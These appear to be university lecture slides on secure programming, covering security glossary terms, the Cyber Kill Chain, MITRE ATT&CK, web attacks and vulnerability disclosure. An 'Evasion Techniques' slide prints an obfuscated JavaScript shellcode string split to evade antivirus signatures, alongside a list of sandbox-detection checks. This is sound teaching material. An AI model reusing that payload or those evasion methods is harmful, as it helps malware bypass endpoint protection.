Secure Programming

A.A. 2022/2023

Corso di Laurea in Ingegneria delle Telecomnicazioni

C. SwA: Weakness, Vulnerability, Attacks

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DIPARTIMENTO DI INGEGNERIA ELETTRICA E DELL'INFORMAZIONE

Secure Programming Lab: Course Program

A. Intro Secure Programming: «Who-What-Why-When-Where-How»
B. Building Security in: Buffer Overflow, UAF, Command Inection
C. SwA: Weaknesses, Vulnerabilities, Attacks
D. SwA (Software Assurance): Vulnerabilities and Weaknesses (CVE, OWASP, CWE)
E. Security & Protection: Risks, Attacks. CIA -> AAA (AuthN, AuthZ, Accounting) -> IAM, SIEM, SOAR
F. Architecture and Processes: App Infrastructure, Three-Tiers, Cloud, Containers, Orchestration
G. Architecture and Processes 2: Ciclo di Vita del SW (SDLC), DevSecOps
H. Dynamic Security Test: VA, PT, DAST (cfr. VulnScanTools), WebApp Sec Scan Framework (Arachni, SCNR)
I. Free Security Tools: OWASP (ZAP, ESAPI, etc), NIST (SAMATE, SARD, SCSA, etc), SonarCube, Jenkins
J. Architecture and Processes 3: OWASP DSOMM, NIST SSDF
K. Operating Environment: Kali Linux on WSL
L. Python: Powerful Language for easy creation of hacking tools
M. Exercises: SecureFlag

SwA: Software Assurance



1. **Weakness**: Glossary
2. **Cyber Kill Chain**: Attacks Life Cycle
3. **Attacks and Vulnerabilities**: Security Bullettin

C.1 Weaknesses: Glossary

Internet Security Glossary 1/3



Concepts and definitions taken from RFC 4949 (update of RFC2828)

The RFC Series

The RFC Series (ISSN 2070-1721) contains technical and organizational documents about the Internet, including the specifications and policy documents produced by five streams: the Internet Engineering Task Force (IETF), the Internet Research Task Force (IRTF), the Internet Architecture Board (IAB), Independent Submissions, and Editorial.

Browse the RFC Index

HTML (ascending) • HTML (descending) • TXT • XML

Note: These files are large.

Browse RFCs by Status

Internet Standard

Draft Standard • Proposed Standard

Best Current Practice

Informational • Experimental • Historic

Uncategorized (Early RFCs)

• • • • •

Official Internet Protocol Standards

RFC Status Changes

The RFC series has a long history. The series was originated in 1969 by Steve Crocker of UCLA, to organize the working notes of the new ARPAnet research program. Online data access (e.g., FTP) was defined in early RFCs, and the RFC series itself became the first online publication series. For 28 years, this RFC series was managed and edited by the Internet pioneer Jon Postel. The RFC Editor operation was funded by the Defense Advanced Research Projects Agency (DARPA) of the US government until 1998. From 1998 – 2018, the RFC Editor was funded by a contract with the Internet Society, to continue to edit, publish, and catalog RFCs.

RFC 4949 “Internet Security Glossary https://www.rfc-editor.org/rfc/rfc4949

C.1a Weaknesses: Glossary

Internet Security Glossary 2/3

Concepts and definitions taken from RFC 4949 (update of RFC2828)



Attacco (Attack): Intentional act, by which an attempt is made to evade the security controls of a system and violate its security policies.
Azione di Minaccia (Threat Action): Effective Assault on a security system.
Agente di Minaccia (**Threat Agent**): the one who carries out the attack (Attacker)
Minaccia (**Threat**): Potential breach of security, which exists in the presence of a circumstance, skill, action, or event that could violate security and cause harm.
Contromisura (Countermeasure): Action, device, procedure, or technique that reduces a threat, vulnerability, or attack by eliminating or preventing it, minimizing the harm it may cause, or discovering and reporting it so that corrective action can be taken.

RFC 4949 “Internet Security Glossary https://www.rfc-editor.org/rfc/rfc4949

C.1b Weaknesses: Glossary

Glossary 3/3

Concepts and definitions taken from RFC 4949 (update of RFC2828)



Vulnerabilità (**Vulnerability**): Flaw or weakness in the design, implementation, or operation and management of a system that could be exploited to violate system security policies.

Conseguenza di Minaccia (**Threat Consequence**): A security breach resulting from a threat action. Includes:

- Exfiltration/disclosure
- inganno (deception)
- denial/interruption
- usurpation

Rischio (Risk): loss perspective expressed as the probability that a given threat will exploit a given vulnerability with a given harmful result.

RFC 4949 “Internet Security Glossary https://www.rfc-editor.org/rfc/rfc4949

C.1c Weaknesses: Glossary

Glossary: Attack



The attack is classified according to a number of attributes

Characterization	
Intent	• Active: alter system resources and modify its running operations • Passive: collect information from the system, without touching its resources
Stage	• On-Line: the information retrieval, analysis and application phases take place in rapid succession • Off-Line: The information obtained is analyzed on another system (typically owned by the attacker). Only after that, the results are applied on the target system
Initiation	• Inside: undertaken by an entity residing within (insider) the security perimeter • Outside: operated from outside the security perimeter, by an unauthorized user (outsider)
Delivery	• Direct: packets are sent directly to the intended victim • Indirect: the packets are sent to a third party, which sends them to the victim(s).

C.1d Weaknesses: Glossary

Glossary: Vulnerability



Vulnerability: Defect or weakness of a system that could be exploited to violate its security policy

Phase		Weakness
Design	(Specification): progettazione	Algorythm (es. MTProto, Telegram): - Weak hash algorithm - Mac & Encrypt (instead of Encrypt & Mac) - CBC variant (Infinite Garble Extension)(*) - No PubKeys authentication
Implementation	Realization	Code: - Input Validation - SQLi, XSS, CSRF, etc
Operation	Working	Esecution - ACL - External Object
Management	Governance (Command & Control)	Process: - Need to Know - Segregation od Duties - Due Care/Due Diligence - Awareness

(*) NIST SP800-38°: http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38a.pdf

C.1e Weaknesses: Glossary

Glossary: Attack Vector

Careful analysis is required to convey an attack, breakthrough and 3 levels (Strategic, Tactical and Operational)

	eMail	Web	Chat	Physic
Strategic	Social Engineering	Intrigue	Enticement Hookup	Manipulation
Tactical	Phishing	Web vuln (es. XSS) Browser	Attach	USB Key
Operational	Payload (Executable / Script)			

C.1f Weaknesses: Glossary

Glossary: Threat Consequence

Various consequences can arise following a successful attack



Unauthorized Disclosure (divulgazione non autorizzata) - threat consequence: a circumstance or event in which an entity gains access to data for which it does not have permission (confidentiality).

Deception (raggiro) - threat consequence: Circumstance or event that could result in an authorized entity receiving false (presumed to be true) data

Disruption (interruzione) - threat cons: circumstance or event that interrupts or prevents the correct operation of the services and functions of a system. (see Denial of Service)

Appropriation (usurpazione) - thread conseq: circumstance or event that results in the control of the services or functions of a system by an unauthorized entity.

C.1g Weaknesses: Glossary

Glossary: Unauthorized Disclosure 1/2



The following threat actions can cause unauthorized disclosure

Exposure (esposizione): a threat action in which sensitive data is directly released to an unauthorized entity.

Voluntary Exposure: intentional release of data to unauthorized entities.
Scavenging: the act of "rummaging through" residual data in a system in search of sensitive information;
*Human Error: human action or negligence resulting in the inadvertent exposure of data to an unauthorized entity.
*Errore sw/hw. System failure resulting in unintentional data exposure to third parties.

Interception: a threat action in which an unauthorized party gains direct access to sensitive data in transit between authorized senders and recipients. It includes:

Theft: obtaining access to sensitive data through the theft of a physical medium (eg disk, CD, pendrive) in transit (eg shipment) containing the data.
Wiretapping (passive): Monitoring and logging of data in transit between two points in a communication system.
Emanation analysis: direct obtaining of information on data communicated through the monitoring and processing of a signal emitted by a system and containing the data, but not foreseen as a data communication system (cft emanation, TEMPEST?).

C.1h Weaknesses: Glossary

Glossary: Unauthorized Disclosure 2/2



The following threat actions can cause unauthorized disclosure

Inference: threat action in which an unauthorized entity indirectly accesses sensitive data (but not necessarily the data contained in the communication) through deduction from characteristics or byproducts of the communication. It includes:

- Traffic analysis: Obtaining insights into data by observing the characteristics of the communication carrying the data.
- Signal analysis: indirect obtaining of information on communicated data, through the monitoring and analysis of a signal emitted by a system and containing the data, but not intended as a means of communication of the same. (cft emanation).

Intrusion: threat action in which an unauthorized entity gains access to sensitive data by circumventing a system's protections. It includes:

- Physical Intrusion: Gaining unauthorized physical access to sensitive information by circumventing a system's safeguards.
- Penetration: Gaining logical access to sensitive data by circumventing a system's protections.
- Reverse Engineering: acquisition of sensitive data through the disassembly and analysis of the design of a system or a component of it.
- Cryptanalysis: the transformation of encrypted data into plaintext data without prior knowledge of encryption parameters or processes.

C.1i Weaknesses: Glossary

Glossary: Deception



The following threat actions can lead to the scam

"Masquerade": action in which an unauthorized party gains access to a system or performs malicious operations by posing as an authorized party.

- Spoof: Attempting to gain access to a system by posing as an authorized user.
- Malicious logic: In the context of masquerade, any hardware, firmware, or software (e.g. Trojan) that appears to provide useful and desirable functions, but instead gains unauthorized access to system resources or tricks the user into forcing him to execute other malicious logic. (cfg malicious logic)

Forgery: thread action where false data misleads an authorized party (see active wiretapping)

- Substitution: Alteration or outright replacement of valid data with false data provided to an authorized party for the purpose of deceiving them.
- Insertion: introduction of false data with the aim of deceiving the receiving party.

Repudians/Repudiation: threat action in which one party deceives the other through the false repudiation of responsibility for an action. (see non-repudiatin service)

- False denial of origin: action in which the issuer of a data denies responsibility for the generation of the data itself.
- False denial of receipt: action in which the recipient of a data denies receipt and possession of the data

C.1j Weaknesses: Glossary

Glossary: Disruption

The following threat actions can cause disruption

Disabling (incapacitation): action that prevents or interrupts the operation of a service by disabling one of its components.

- Malicious logic: in this context, any hw, fw, sw (e.g. logic bomb) intentionally introduced into a system to destroy its functions or resources.
- Physical destruction: deliberate destruction of a component of a system with the aim of preventing its functioning.
- Human error: action or negligence that inadvertently leads to the disabling of a component.
- HW or SW error: an error that causes a system component to fail and leads to an interruption of operations.
- Natural Disaster: Natural disaster (fire, flood, lightning) that disables a system component.

Corruption: action that undesirably impairs the operation of a system through the adverse modification of system functions or data.

- Tampering: In the context of corruption, the deliberate alteration of a system's logic, data, or control information to interrupt or prevent the proper operation of a system's functions.
- Malicious logic: any HW, FW or SW (e.g. virus) intentionally introduced into a system to modify its data or functionality.
- Human Error: Human action or negligence resulting in the inadvertent alteration of data or system functions.
- HW or SW error: Error resulting in corrupted data or functions.
- Natural Disaster: affecting operation or data.

Obstruction : threat action that interrupts the provision of system services by hindering/impeding/blocking system operation.

- Interference: disruption to operations resulting from blockage of communications or data.
- Overload: hindrance of the operation of a system through an excessive load to the detriment of the performance of the system or of one of its components (see flooding)

C.1k Weaknesses: Glossary

Glossary: Usurpation



The following threat actions can cause usurpation

Misappropriation / embezzlement : action in which an entity assumes unauthorized access of a logical or physical type to a system or resources.

- service theft: unauthorized use of a service by an unauthorized entity
- Feature Theft: Unauthorized acquisition of hardware, software, or firmware of a system or component.
- data theft: unauthorized acquisition, and use, of data.

Misuse: action that causes a system or component to perform functions or services that are harmful to the system or its safety.

- Tampering: In the context of misuse, deliberately altering the logic, data or control information of a system to cause the system to perform unauthorized functions or services.
- Malicious logic: HW, FW or SW intentionally introduced into a system to perform or control the execution of unauthorized functions or services.
- Permission violation: action, performed by an entity, which exceeds the entity's privileges on the system by allowing the execution of unauthorized functions.

C.2a Attack Life Cycle: Cyber Kill Chain

Cyber Kill Chain 1/2

Concept transmuted from the military world by the Lockheed Martin company which owns the brand: each attack requires a life cycle



C.2b Attack Life Cycle: Cyber Kill Chain

Cyber Kill Chain 1/3

Concept transmuted from the military world by the Lockheed Martin company which owns the brand: each attack requires a life cycle

Reconnaissance	Identification, Selection and Profiling of the Target
Weaponization	Create the cyber weapon (contained in a payload), piecing together: • Trojan • Exploit
Delivery	Transmission of the cyber weapon to the target (tras' 'e sic)
Exploitation	Payload operation
Installazione	Installing a backdoor (t'e mett' 'e chiatt)
Command & Control	Establishing Client-Server communications with the compromised host
Act on Objective	• Data Exfiltration • Network Spreading • System Disruption

C.2c Attack Life Cycle: Cyber Kill Chain

Cyber Kill Chain 2/3

Matrice degli Strumenti di Contrasto

Fase	Detect	Deny	Disrupt	Degrade	Deceive
Reconaissance	Web Analytics	FW AC			
Weaponization					
Delivery	Vigilant User NIDS (ATP)	Proxy Filter (WAF) NIPS (ATP)	AV (ATP)	Queueing	
Exploitation	HIDS (ATP)	Patch ACL	DEP ASLR		
Installation	HIDS (ATP)	Chroot (Container) ACL	AV (ATP)		
Command&Control	NIDS (ATP)	FW ACL	NIPS (ATP)	Tarpit	DNS redirect
Actions on Objectives	Audit Log (SIEM)			QoS	HoneyPot

C.2d Attack Life Cycle: Cyber Kill Chain

Cyber Kill Chain 3/3



Matrice degli Strumenti di Contrasto

Acronym/Term	Meaning	Brief Description	Link
FW	FireWall	Filtering TCP/IP flows based on SRC, DST, port	
AC(L)	Access Control (List)		
Vigilant User	User aware of security issues	Awareness and Training	
NIDS / HIDS	N		
Proxy Filter (WAF)	Web Application Firewall		
AV (ATP)	Anti Virus (Advanced Threat Protection)	Detection of virus and malware by: • signatures • IoC (Index of Compromission) • Behavioural	
Patch	Security Update		
DEP	Data Execution Prevention	Prevent the execution of data	https://msrc.microsoft.com/blog/2010/12/on-the-effectiveness-of-dep-and-aslr/
ASLR	Address Space Layout Randomization	Load programs in not predictable locations	https://msrc.microsoft.com/blog/2010/12/on-the-effectiveness-of-dep-and-aslr/
Chroot (Container)	Change root	Changing the root (/) for a process	
Tarpit	Natural trap	Services on over unused IP addresses	https://labrea.sourceforge.io/Intro-History.html
QoS	Quality of Service		
DNS redirect	Domain Name System redirect	Fake resolutions of hostname	
Audit Log (SIEM)	Security Information and Event Management	Collection and correlation of (security) logs	https://www.gartner.com/reviews/market/security-information-event-management
HoneyPot			

C.2e Attack Life Cycle: Cyber Kill Chain

Server-side Attack

The perimeter is increasingly impenetrable: fortified and protected. Increasingly difficult to find a way to enter the victim's network.

Server side: directed to the assets in which the information of interest is contained (Espionage), whose resources you want to exploit (Proofitering) or that you want to damage (Damaging).



C.2f Attack Life Cycle: Cyber Kill Chain

Client-side Attack 1/3

The perimeter is increasingly impenetrable: fortified and protected. This type of attack allows you to circumvent perimeters and fortifications.

Client side attacks:
Engage users and guide their interaction, such as:

- entice them to click on a link
- open a document
- get to your malicious site.



C.2g Attack Life Cycle: Cyber Kill Chain

Client-side Attack 2/3

It is known that people click on everything, if properly intrigued (primed)

Key Part: use social engineering skills to get the user to click

Malicious attack, on vulnerable services of a client machine, by means of :

- **Payload**: send malicious content
- **Trick**: entice the user to run the code
- **Reverse**: get a connection or a reverse-shell

Client side attacks are constantly increasing.

C.2h Attack Life Cycle: Cyber Kill Chain

Client-side Attack 3/3

There are various ways to use tools initially designed for server-side attacks as well as for client-side attacks

	Content	Shape	Trick	Gain
Binary Linux Trojan	Linux Game	Ubuntu deb package	Convince to Install	Reverse Shell
Adobe Reader	'util.printf()' JavaScript Function Stack Buffer Overflow Vulnerability	PDF	Convince to Open	Reverse Shell
VBScript Infection	Office game	Docx Xlsx	Convince to Open	Meterpreter Shell

C.2i Attack Life Cycle: Cyber Kill Chain

Information Gathering



Finding useful information

Active:

- Contacts (rubrica)
- FingerPrint

	Name	Version	Functions	other
Browser			Estensioni	
Mail Client			Conf.	
AV				
S.O.				

Passive

- Behavioural: Interactions (e.g. purchases) to be able to forge emails
- OSINT
- Links (firends, collegues, relatives)

C.2j Attack Life Cycle: Cyber Kill Chain

Evasion Techniques 1/2



Techniques to avoid being identified by End-Point protection systems

Identification of the Running System

SandBox: environment analysis

- CPU ID: identification of the running CPU
- MAC: addresses fo the virtual network interfaces
- Eth: identification of the names provided to the network interfaces (avoiding virtual environment))
- Registry: HKEY_LOCAL_MACHINE\HARDWARE\Description\System

SandBox: behavioural analysis

- HW Properties: low resolution, small HD, no 3D, etc
- SW: user clients (eMail, chat, etc)
- System: uptime
- User: desktop (clean), cookies (too few), FS (clean, no recent)
- DNS: «strange» hostname resolution (es. WannaCry)

C.2k Attack Life Cycle: Cyber Kill Chain

Evasion Techniques 2/2

Techniques to avoid being identified by End-Point protection systems

Deleting the Signature available in the AV

1. Binding and splitting (HotFusion)



2. *.exe to 'executable client side scripts' (exe2vbs)




```
var darklord = unescape(/*this is a false comment*/'%u9090%u9'/*they break the shell code*/+
'090%u90' +'90%u9090%uc' + /*to smaller chunk*/'eba%u'+ '11fa%'+
'u291f%ub1c9%ud' +' b33%ud9ce%' +' u2474%' +' u5ef4%u56'+ '31%u030e%u' +
'0e56%u0883%uf3' + 'fe%u68ea%u7' +
'a17%u9014%u'/* this can be an effective*/ + "1de8%u759c%u0" +
'fd9%ufefa%' /*technique to bypass*/+ 'u8048%u5288%u'+ '6b61%u46dc%u19f2%u6'
+'9c9%u94b3%u442f%'+ 'u1944%u0af0%u'+ '3b86%u508c'+ '%u9bdb%u9bad%udd'+
'2e%uc1ea%u8fc' +
"1%u8ea3%u2070%"+ "ud2c7%u4148%u59"+ '07%u39f0%u9d22%uf' +
'385%ucd2d%u8f'+ "36%uf566%ud73d%u0456%u"+ '0b91%u4faa%uf89e%u4'+
'e58%u3176%u61a'+ '0%u9eb6%u4e9f%ude3'+ 'b%u68d8%u95a4%u8b1'+
'2%uae59%uf6e0%u3b85'/*anti-viruses and exploit the target*/+
'%u50f5%u9b4d%u61'+ 'dd%u7a82%u6d9'+ '5%u086f%u71f1%udd'+ '6e%u8d89%' +
'ue0fb%u045d%uc' + '6bf%u4d79%u661b%u2b'+ 'db%u97ca%u933b%u3db3%u313'
+'7%u44a7%u5f1a%uc4'+ "36%u2620%ud638%" + 'u082a%ue751%uc7a1%u')
```

3. Code Obfuscation/Morphing

C.2l Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



MITRE ATT&CK® stands for MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK). **The MITRE ATT&CK framework** is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary's attack lifecycle and the platforms they are known to target. The tactics and techniques abstraction in the model provide a common taxonomy of individual adversary actions understood by both offensive and defensive sides of cybersecurity. It also provides an appropriate level of categorization for adversary action and specific ways of defending against it.

C.2m Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



The MITRE ATT&CK matrix contains a set of techniques used by adversaries to accomplish a specific objective.

Those objectives are categorized as tactics in the ATT&CK Matrix. ...

The objectives are presented linearly from the point of reconnaissance to the final goal of exfiltration or "impact".

The broadest version of ATT&CK for Enterprise, which includes Windows, macOS, Linux, PRE, Azure AD, Office 365, Google Workspace, SaaS, IaaS, Network, and Containers, categorizes 14 adversary tactics.

C.2n Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



1.Reconnaissance: gathering information to plan future adversary operations, i.e., information about the target organization
2.Resource Development: establishing resources to support operations, i.e., setting up command and control infrastructure
3.Initial Access: trying to get into your network, i.e., spear phishing
4.Execution: trying the run malicious code, i.e., running a remote access tool …
5.Persistence: trying to maintain their foothold, i.e., changing configurations
6.Privilege Escalation: trying to gain higher-level permissions, i.e., leveraging a vulnerability to elevate access
7.Defense Evasion: trying to avoid being detected, i.e., using trusted processes to hide malware
8.Credential Access: stealing accounts names and passwords, i.e., keylogging
9.Discovery: trying to figure out your environment, i.e., exploring what they can control
10.Lateral Movement: moving through your environment, i.e., using legitimate credentials to pivot through multiple systems
11.Collection: gathering data of interest to the adversary goal, i.e., accessing data in cloud storage
12.Command and Control: communicating with compromised systems to control them, i.e., mimicking normal web traffic to communicate with a victim network
13.Exfiltration: stealing data, i.e., transfer data to cloud account
14.Impact: manipulate, interrupt, or destroy systems and data, i.e., encrypting data with ransomware

C.2n1 Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



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4.Execution: trying the run malicious code, i.e., running a remote access tool

Reconnaissance	Resource Development	Initial Access	Execution
10 techniques	7 techniques	9 techniques	13 techniques
Active Scanning (3)	Acquire Infrastructure (7)	Drive-by Compromise	Command and Scripting Interpreter (8)
Gather Victim Host Information (4)	Compromise Accounts (3)	Exploit Public-Facing Application	Container Administration Command
Gather Victim Identity Information (3)	Compromise Infrastructure (7)	External Remote Services	Deploy Container
Gather Victim Network Information (6)	Develop Capabilities (4)	Hardware Additions	Exploitation for Client Execution
Gather Victim Org Information (4)	Establish Accounts (3)	Phishing (3)	Inter-Process Communication (3)
Phishing for Information (3)	Obtain Capabilities (6)	Replication Through Removable Media	Native API
Search Closed Sources (2)	Stage Capabilities (6)	Supply Chain Compromise (3)	Scheduled Task/Job (5)
Search Open Technical Databases (5)		Trusted Relationship	Serverless Execution
Search Open Websites/Domains (3)		Valid Accounts (4)	Shared Modules
Search Victim-Owned Websites			Software Deployment Tools
			System Services (2)
			User Execution (3)
			Windows Management Instrumentation

C.2n2 Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



5. Persistence: trying to maintain their foothold, i.e., changing configurations

6.Privilege Escalation: trying to gain higher-level permissions, i.e., leveraging a vulnerability to elevate access

7.Defense Evasion: trying to avoid being detected, i.e., using trusted processes to hide malware

8.Credential Access: stealing accounts names and passwords, i.e., keylogging



C.2n3 Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



9. **Discovery**: trying to figure out your environment, i.e., exploring what they can control
10. **Lateral Movement**: moving through your environment, i.e., using legitimate credentials to pivot through multiple systems
11. **Collection**: gathering data of interest to the adversary goal, i.e., accessing data in cloud storage



C.2n4 Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK



12. **Command and Control**: communicating with compromised systems to control them, i.e., mimicking normal web traffic to communicate with a victim network
13. **Exfiltration**: stealing data, i.e., transfer data to cloud account
14. **Impact**: manipulate, interrupt, or destroy systems and data, i.e., encrypting data with ransomware

Command and Control 16 techniques	Exfiltration 9 techniques	Impact 13 techniques
Application Layer Protocol (4)	Automated Exfiltration (1)	Account Access Removal
Communication Through Removable Media	Data Transfer Size Limits	Data Destruction
Data Encoding (2)	Exfiltration Over Alternative Protocol (3)	Data Encrypted for Impact
Data Obfuscation (3)	Exfiltration Over C2 Channel	Data Manipulation (3)
Dynamic Resolution (3)	Exfiltration Over Other Network Medium (1)	Defacement (2)
Encrypted Channel (2)	Exfiltration Over Physical Medium (1)	Disk Wipe (2)
Fallback Channels	Exfiltration Over Web Service (2)	Endpoint Denial of Service (4)
Ingress Tool Transfer	Scheduled Transfer	Firmware Corruption
Multi-Stage Channels	Transfer Data to Cloud Account	Inhibit System Recovery
Non-Application Layer Protocol		Network Denial of Service (2)
Non-Standard Port		Resource Hijacking
Protocol Tunneling		Service Stop
Proxy (4)		System Shutdown/Reboot
Remote Access Software		
Traffic Signaling (2)		
Web Service (3)		

C.2o Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK vs Cyber Kill Chain 1/3

The Lockheed Martin Cyber Kill Chain® is another well-known framework for understanding adversary behavior in a cyber-attack. The Kill Chain model contains the following stages, presented in sequence:

1.Reconnaissance – Harvests email addresses, conference information, etc.

2.Weaponization – Couples exploit with backdoor into deliverable payload.

3.Delivery – Delivers weaponized bundle to the victim via email, web, USB, etc.

4.Exploitation – Exploits a vulnerability to execute code on a victim's system.

5.Installation – Installs malware on the asset.

6.Command & Control (C2) – Includes command channel for remote manipulation.

7.Actions on Objectives – Using 'Hands on Keyboards' access, intruders accomplish their original goals.

Lockheed Martin gives more detail on their Cyber Kill Chain framework in this graphic. [3]



C.2o Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK vs Cyber Kill Chain 2/3



Lockheed Martin Cyber Kill Chain®

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MITRE ATT&CK

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C.2p Attack Life Cycle: Cyber Kill Chain

MITRE ATT&CK vs Cyber Kill Chain 3/3

There are two primary differences between MITRE ATT&CK and Cyber Kill Chain.

1. First, the MITRE ATT&CK framework goes into significantly more depth on how each stage is conducted through ATT&CK techniques and sub-techniques. MITRE ATT&CK is regularly updated with industry input to keep up with the latest techniques so defenders update their own practices and attack modeling regularly.

2.Second, the Cyber Kill Chain does not factor in the different tactics and techniques of a cloud-native attack, as discussed above. The Cyber Kill Chain framework assumes that an adversary will deliver a payload, such as malware, to the target environment; a method which is much less relevant in the cloud.

C.2r Attack Life Cycle: Cyber Kill Chain

Types of Attacks



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Techniques to avoid being identified by End-Point protection systems

C.2s Attack Life Cycle: Cyber Kill Chain

Web Application Attack



What Is a Web Application Attack and how to Defend Against It:

https://www.acunetix.com/website security/web-application-attack/

C.2t1 Attack Life Cycle: Cyber Kill Chain

Web Application Attack

B.1g Security In: What is?

Agenda

- The basics of threat modeling.
- Three basic kinds of exploits:

1. Buffer Overflows → Type-safe Programming Languages
2. Use After Free → Type-safe Programming Languages
3. Command injection → Input Validation.

Even if web servers are **configured securely** or are secured using network security measures like firewalls, a **poorly coded web application** deployed on the online server may provide a path to an attacker to compromise the online server's security.



If the online developers don't adopt secure coding practices while developing web applications, it may give attackers the prospect to exploit vulnerabilities and compromise web applications and web server security.

C.2t2 Attack Life Cycle: Cyber Kill Chain

Web Application Attack

An attacker can perform different types of attacks on vulnerable web applications to breach web server security.

- **Unvalidated Input and File Injection Attacks:** Unvalidated input and file injection attacks are performed by supplying an unvalidated input or by injecting files into an internet application.
- **Parameter/Form Tampering:** during this sort of tampering attack, the attacker manipulates the parameters exchanged between client and server so as to switch application data, like user credentials and permissions, price and quantity of products, and so on.
- **Command Injection Attacks:** during this sort of attack, a hacker alters the content of the online page by using html code and by identifying the form fields that lack valid constraints.
- **SQL Injection Attacks:** SQL injection t exploits the safety vulnerability of a database for attacks. The attacker injects malicious code into the strings, later passed on to the SQL Server for execution.
- **Cookie Tampering:** Cookie tampering attacks occur when sending a cookie from the client-side to the server. differing types of toots help in modifying persistent and non-persistent cookies.
- **Session Hijacking:** Session hijacking is an attack during which the attacker exploits, steals,predicts, and negotiates the important valid web session's control mechanism to access the authenticated parts of an internet application.
- **Cross-Ste Request Forgery (CSRF) Attack:** An attacker exploits the trust of an authenticated user to pass malicious code or commands to the online server
- **Cross-Site Scripting (XSS) Attacks:** during this method, an attacker injects HTML tags or scripts into a target website.
  Buffer Overflow Attacks: the planning of most web applications helps them in sustaining some amount of knowledge. If that amount exceeds the storage space available, the appliance may crash or may exhibit some other vulnerable behaviour. The attacker uses this advantage and floods the appliance with too much data, which successively causes a buffer overflow attack,





C.2t3 Attack Life Cycle: Cyber Kill Chain

Web Application Attack



An attacker can perform different types of attacks on vulnerable web applications to breach web server security.

Secure Configuration

- **ASCII text file Disclosure:** source code disclosure may be a results of typographical errors in scripts or due to misconfiguration, like failing to grant executable permissions to a script or directory. This disclosure can sometimes allow the attackers to realize sensitive information about database credentials and secret keys and compromise the online servers.



- **Directory Traversal:** Directory traversal is that the exploitation of HTTP through which attackers can access restricted directories and execute commands outside of the online server's root directory by manipulating a URL.

Security Architecture

- **Denial-of.Service (DoS) Attack:** A DOS attack is meant to terminate the operations of a website or a server and make it unavailable for access by intended users.



What is a DDoS attack? – Protocol

C.2u Attack Life Cycle: Cyber Kill Chain

Web Application Attack Vector



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https://detectify.com/attack-vector

C.2v Attack Life Cycle: Cyber Kill Chain

Web Attack Using the Browser



Three web attack vectors seem to be responsible for the majority of computer attacks that involve a web browser:

- The attack can incorporate an element of social engineering to persuade the victim to take an action that compromises security. For instance, the victim can supply data to a phishing site or install a program that will turn out to be malicious.
- The attacker can use the browser as a gateway for attacking web applications via techniques such as cross-site scripting (XSS), Cross-Site Request Forgery (CSRF) and Clickjacking.
- The attacker can exploit a vulnerability in the web browser or in local software that the browser can invoke. Such client-side exploits have targeted browser add-ons such as Flash, Adobe Reader and Java Runtime Environment (JRE).

Most attacks include one or two of the three techniques. For instance, Koobface worm targets the user (social engineering to click links) and the web application (hijacking social networking site sessions).

The following series of posts explores these three web browser attack vectors in greater detail, discussing how enterprises can protect themselves against such attacks:

- Mitigating Attacks on the User of the Web Browser
- Mitigating Attacks on Web Applications Through the Browser
- Mitigating Attacks on the Web Browser and Add-Ons

https://zeltser.com/web-browser-attack-vectors/

C.3 Attackers & Vulnerabilities

Attackers vs Vendors



Advisories == **Security Bullettin**

C.3a Attackers & Vulnerabilities

Security Bullettin



Security advisories (aka bulletins) are issued by software vendors

- ▶ public feeds, also private at earlier stages
- ▶ advance notification to high-value customers, security companies
- ▶ maybe before patches are available
- ▶ (Q. is that a good idea?)
- ▶ public advisory usually when update available

Various people (sys admins, downstream software devs, users...) should monitor and act on advisories.

Android Security Bulletin

The Android Security Bulletin provide fixes for possible issues affecting devices running Android.

Android platform fixes

Upstream Linux kernel fixes

Fixes from SOC manufacturers

Bulletin	Languages	Published date	Security patch level
March 2023	English / 日本語 / 한국어 / рýсский / 简体中文 / 繁體中文 (台灣)	March 13, 2023	2023-03-01 2023-03-05
February 2023	English / 日本語 / 한국어 / рýсский / 简体中文 / 繁體中文 (台灣)	February 6, 2023	2023-02-01 2023-02-05
January 2023	English / 日本語 / 한국어 / рýсский / 简体中文 / 繁體中文 (台灣)	January 3, 2023	2023-01-01 2023-01-05
December 2022	English / 日本語 / 한국어 / рýсский / 简体中文 / 繁體中文 (台灣)	December 5, 2022	2022-12-01 2022-12-05
November 2022	English / 日本語 / 한국어 / рýсский / 简体中文 / 繁體中文 (台灣)	November 7, 2022	2022-11-01 2022-11-05

C.3b Attackers & Vulnerabilities

Vulnerability Disclosure



The process by which the analysis of these vulnerabilities is shared with third parties is the subject of much debate, and is referred to as the researcher's disclosure policy.

1. **Coordinated Disclosure**: policy under which researchers agree to report vulnerabilities to a coordinating authority, which then reports it to the vendor, tracks fixes and mitigations, and coordinates the disclosure of information with stakeholders including the public. The premise of coordinated disclosure is typically that nobody should be informed about a vulnerability until the software vendor says it is time, or, at max 30 days after the reporting to the coordinating authority.
2. **Full Disclosure**: policy of publishing information on vulnerabilities without restriction as early as possible, making the information accessible to the general public without restriction. In general, proponents of full disclosure believe that the benefits of freely available vulnerability research outweigh the risks, whereas opponents prefer to limit the distribution.
3. **Non Disclosure**: policy of not sharing at all the vulnerability information, or should only be shared under non-disclosure agreement (either contractually or informally)

C.3c Attackers & Vulnerabilities

The ZDI: Zero Day Initiative



https://www.zerodayinitiative.com/about/

started by TippingPoint, a network security company

Idea of “buying vulnerability” by crowd-souring discovery

Incentive programme rewarding participants

▶ $ reward, bonuses like DEFCON attendance

▶ advantages: independence, wider knowledge

▶ and presumably cheaper than direct employment